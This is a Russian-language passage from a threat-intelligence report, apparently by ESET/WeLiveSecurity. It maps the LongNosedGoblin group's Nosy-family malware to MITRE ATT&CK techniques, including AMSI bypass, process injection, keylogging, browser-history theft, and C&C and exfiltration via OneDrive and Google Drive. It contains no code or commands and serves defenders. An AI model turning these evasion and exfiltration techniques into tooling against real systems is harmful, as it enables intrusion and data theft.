T1564.003 Скрытие артефактов: скрытое окно NosyDownloader создает процесс PowerShell со скрытым окном.
T1562.001 Нарушение защиты: отключение или изменение инструментов NosyDoor Stage 2, NosyStealer Stage 3 и NosyDownloader обходят AMSI.
T1036.005 Маскировка: использование имени или расположения законного ПО NosyHistorian Stage 1 был замечен под именем Registry.pol, маскируясь под файл политики реестра.
T1218 Выполнение через подписанные бинарные файлы NosyDoor Stage 1 выполняет следующий этап, используя законный UevAppMonitor.exe.
T1055 Инъекция процесса Один наблюдаемый NosyStealer Stage 2 внедряет Stage 3 в pmp.exe через CreateRemoteThread. Другой наблюдаемый образец внедряет в notepad.exe через SetThreadContext с ResumeThread.
T1620 Загрузка рефлексивного кода Donut использовался для выполнения NosyStealer Stage 3 и Stage 4 в памяти.
Обнаружение T1217 Обнаружение информации браузера NosyHistorian собирает историю браузера из Google Chrome, Microsoft Edge и Mozilla Firefox.
T1083 Обнаружение файлов и каталогов NosyDoor может перечислять файлы и каталоги.
T1082 Обнаружение системной информации NosyDoor получает системную информацию как часть маяка C&C.
Сбор T1056.001 Захват ввода: кейлоггинг NosyLogger регистрирует нажатия клавиш.
T1125 Захват видео LongNosedGoblin использовал программное обеспечение для записи видео, вероятно, FFmpeg, для захвата аудио и видео.
T1560 Архивация собранных данных NosyLogger шифрует собранные данные с помощью AES.
T1074.001 Этапирование данных: локальное этапирование данных NosyLogger сохраняет нажатые клавиши, имена окон и содержимое буфера обмена в файле по жестко заданному пути.
Командование и управление T1071.001 Протокол прикладного уровня: веб-протоколы NosyDownloader использует HTTP для загрузки дальнейшей полезной нагрузки.
T1105 Передача инструментов через сеть NosyDoor и NosyDownloader могут загружать и запускать последующие полезные нагрузки.
T1102.002 Веб-сервис: двусторонняя связь NosyDoor использует Microsoft OneDrive в качестве сервера C&C. NosyStealer использует Google Docs для получения команды-триггера и отправки отладочных сообщений, а Google Drive — для эксфильтрации данных браузера.
T1573.001 Зашифрованный канал: симметричная криптография NosyDoor шифрует выходные данные команд C&C через AES.
T1573.002 Зашифрованный канал: асимметричная криптография NosyDoor использует RSA для шифрования метаданных, отправляемых на сервер C&C.
Эксфильтрация T1567.002 Эксфильтрация через веб-сервис: эксфильтрация в облачное хранилище NosyStealer эксфильтрует данные браузера в Google Drive.

Читать полный анализ на WeLiveSecurity →

Exit mobile version